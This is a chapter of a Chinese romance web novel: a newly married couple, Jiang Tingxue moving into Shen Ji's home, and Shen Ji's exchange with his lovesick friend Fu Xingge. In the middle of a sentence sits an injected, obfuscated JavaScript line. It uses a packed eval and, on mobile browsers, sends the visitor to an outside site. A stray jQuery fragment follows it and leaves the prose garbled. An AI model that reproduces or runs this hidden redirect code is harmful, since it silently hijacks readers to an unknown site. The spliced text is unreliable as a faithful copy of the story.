姜来财到底老谋深算,他一直指着我和沈寂结婚后,能在他跟前吹吹枕边风,帮着拉拉生意,所以刚才电话里,我一说出“断绝父女关系”这句话,他立马就软了态度,连忙又演起父女情深的那套把戏,絮絮叨叨说了一堆煽情话。
我实在没耐心陪他演戏,他话还没说完,我就把电话挂了。
这个小插曲过去之后,我和沈寂去领了结婚证。
手续办得很快,前后不到十分钟,我的婚姻状态就从“未婚”变成了“已婚”。
走出登记处的时候,阳光白晃晃地铺了一地。
沈寂公司还有事,先开车送我回我的别墅。
我坐在副驾,拿着新鲜出炉的结婚证翻来覆去地看,红底照片上两个人肩并肩,神情都有些拘谨,像两个被老师安排坐在一起的小学生,看着莫名想笑。
我用指腹蹭了蹭照片上沈寂的肩膀,蹭出一小片模糊的指纹。
沈寂开着车,侧头瞥了我一眼。
“听雪。”
“嗯?”
沈寂停顿了一下,语速比刚才快了一点,像是不想给我留出拒绝的间隙:“下午我会安排人帮你搬家。”
我怔了一拍,眼睛眨了又眨:“诶?”
这么快吗?上午领证,下午就搬进婚房?
前几天还在脑子里偷偷描摹的“貌美丈夫在厨房为我做美食”的画面,居然这么快就要变成现实了。
幸福来得也太突然了吧。
沈寂余光扫过来,大约是从我瞪圆的眼珠和张开的嘴里读出了震惊,以为我还在犹豫,又放缓了语气,声音里掺进一点商量的柔软:“如果你想回自己家,等我不忙的时候,我陪你一起。”
陪你一起。
这四个字落进我耳朵里,自动翻译成了另一句话:
我现在就想立刻、马上跟你住在一起,一天都不要分开,一秒都不要。
我盯着沈寂那张冷淡矜持的侧脸,脑子里那只猫塑滤镜啪地一下就打开了:
高傲的狸花猫,面上不动声色,一张脸冷若冰霜,毛茸茸的大爪子却抱住我的腿,怎么都不撒手。
我被自己的想象萌得心头一颤,嘴角怎么都压不下去。
正午的阳光从车玻璃上划过,折射出一道道细碎的光斑,那股温热透过玻璃渗进来,在我本就烧得噼里啪啦的心河里又添了一把干柴。
我索性不藏了,双手捧住脸颊,像一朵被风吹得摇头晃脑的小花,在副驾驶上左摇右摆,嘴里哼出一个个软绵绵的音节。
“哼哼哼~哼哼哼~……”
听到我心情颇好的哼歌,沈寂喉结微微滚动了一下,他没说话,右手从方向盘上松下来,落在扶手箱上,掌心朝上,手指微张。
我低头看了一眼那只手,又抬头看了一眼他那张面无表情的脸。
猫爪子都伸出来了,不摸白不摸。
我把手放进了沈寂掌心里,十指慢慢收拢,扣住,偏过头,望着车窗外飞速后退的行道树,笑道:
“沈先生,我已经开始期待我们的婚后美好生活啦。”
——
下午,沈寂公司有事,便让助理韩墨开车来帮我搬家。
我提前把要搬的东西收拾妥当了,新房那边什么都有,沈寂跟我说,他买了不少当季新款衣服,已经洗好挂在衣帽间了,所以我只带了几件随身穿的夏季衣物。
但精神食粮必不可少,我又挑了一箱必看的书,剩下的留在自家别墅,方便以后回来翻阅。
整理完毕,我拍了张照片发给沈寂。
我是一只快乐的豚:【要搬的东西不多,你不用派那么多人来。】
下午两点,沈寂的助理韩墨准时开车到了别墅门口。
他只身一人前来,一手稳稳抱起书箱,另一手提起我的行李箱,大步流星地往外走。
我震惊于韩墨的大力,赶紧跟在他身旁,礼貌地道谢:“谢谢你,韩助理,这么热的天,还麻烦你特意跑来帮我搬家。”
韩墨笑得爽朗:“您太客气了,太太,沈总对我们一向很好,每次处理公司以外的事务,都会额外发奖金给我们。”
“嗷。”
大方的沈先生。
到了沈寂的别墅,我发现庭院外那块地被翻整过,垄沟齐整,有的地方已经冒出了星星点点的小绿芽。
小芽刚刚破土,它们安静地立在阳光下,细细的,嫩嫩的,透着一股努力向上长的劲儿。
我好奇地走过去,蹲下身。
上次来这栋别墅,还是两个月前送电视柜摆件的时候,当时天已经黑了,我没仔细看庭院,只在屋里和沈寂聊了会儿天,他就送我回家了。
所以这片地是什么时候被开发的,我一点也不知道。
我伸手,指尖轻轻碰了碰那枚嫩绿的小芽,软软的,带着初生植物特有的脆嫩。
这块地到底种了什么?
韩墨放完行李下楼,看见我蹲在地边专注研究的样子,笑着走过来:“太太,这是沈总吩咐我们种的蔬菜。”
我惊讶抬起头,又低下去,不太确定地看了看那些绿芽:“蔬菜?”
这么雅致的庭院,我以为地里种的该是什么名贵花卉,结果竟是青菜?
“对的,”韩墨笑眯眯地解释,“沈总说,太太您喜欢吃蔬菜,所以把这块地全种上了,等秋天丰收的时候,您看着满院子的蔬菜,一定会特别高兴。”
——
今天是姜听雪搬进婚房的第一晚。
沈寂特意推掉了两个会议,傍晚时分,他处理完手头的工作,从办公椅上起身,拿起车钥匙准备离开。
他打算先去趟超市,买些新鲜蔬菜,晚上亲自下厨。
家里其实有保姆,但他更想看姜听雪吃到他亲手做的饭菜时,鼓着腮帮满足笑起来的模样。
沈寂走出办公楼大门,正好瞥见傅行格靠在玻璃门边。
他半倚着墙,修长的手指夹着一根烟,烟雾缭绕间,抬头望着天边渐沉的暮色,神情里满是落寞。
傅行格长得确实帅,虽然比不上他沈寂,但这样一幅吐着烟圈、忧伤望天的画面落在旁人眼里,倒也算得上街头一景。
沈寂脚步微顿,脑子里莫名蹦出一个念头:要是姜听雪在这儿,看见傅行格这副“忧郁美男子”的姿态,大概
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609400|205877||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不会觉得帅,说不定还会偷偷吐槽他凹造型,叫他“emo哥”。
沈寂个子高,走出大门时,夕阳在他身后被截断,傅行格感觉身边的光线骤然暗了几分,吐尽最后一口烟,侧过头看了沈寂一眼,从西装内袋里摸出一包烟,朝沈寂递了递。
“老沈,陪我抽一根。”
沈寂以前也抽烟,后来沈老爷子身体不好,沈寂在医院陪护的那段日子,怕二手烟影响爷爷康复,说戒就戒了,从那以后,再没碰过。
他把傅行格的手轻轻推了回去:“早戒了。”
傅行格盯着沈寂看了两秒,也没勉强,把烟收回口袋,叹了口气。
高中起他和沈寂被人称为校草对照组,沈寂卷王掐表吃饭,他散漫四处留情,后来他死皮赖脸求沈寂监督学习,收了两年性子,考上了名牌大学。
“不能抽烟,”傅行格把手插进裤袋,“陪我去喝点?”
沈寂:“不了,我要回去给听雪做晚饭。”
傅行格从门上缓缓直起身,似笑非笑道:“不是说联姻是长辈的意思吗?你堂堂沈大总裁,亲自下厨给老婆做饭?”
这话听着带刺,语气也不像平时开玩笑那般轻快,沈寂敏锐地察觉到什么,目光在傅行格脸上多停留了几秒。
沈寂和傅行格认识这么多年,对这位老友的脾性再清楚不过。
傅行格是那种典型的浪子。高中时身边的女孩子就没断过,课间递情书的、放学堵在教室门口的、托人带话约看电影的,来来去去像走马灯,沈寂偶尔听他提起那些女孩,语气轻飘飘的,像是在说今天食堂的菜不合胃口。
沈寂当时就觉得,这人迟早要栽。
果然,前年出了事。
沈寂听说傅行格这次谈了个不一样的,头一回,傅行格开始认真了。他开始主动约人家,记得对方喜欢的口味,甚至笨拙地去学怎么做她爱吃的甜点,沈寂从没见过傅行格这副样子,像是换了个人。
结果那女孩把他甩了。
失恋的傅行格病倒了,烧到将近四十度,一个人躺在公寓里,手机响了也不接,门铃响了也不应,最后还是沈寂觉得不对劲,把人拖去了医院。
沈寂坐在病房的椅子上,看着病床上脸色苍白、嘴唇干裂的傅行格,心里冒出个不太道德的念头:
这大概就是傅行格欠了太多桃花债的报应。
所以,沈寂猜,能让傅行格这种天塌下来都无所谓的人黯然伤神的,只有那个甩了他的女孩了,直白地点破:“你今天遇见你前女友了?”
沉默比回答更诚实。
傅行格:“……”
傅行格别扭地别过脸去。
沈寂伸手拍了拍他的肩膀:“情伤这种东西,得自己消化,别人帮不了。”
他唇角微微一扬:“如你所见,我得回去给我太太做晚饭了。”
傅行格愣了一下,随即反应过来自己被秀了一脸,咬牙切齿地冲沈寂背影喊:“沈寂,你是狗吧!
沈寂没有回头,而是好心情地抬手,随意地摆两下。
傅行格:“……”
他好想冲上去把沈寂车胎扎了。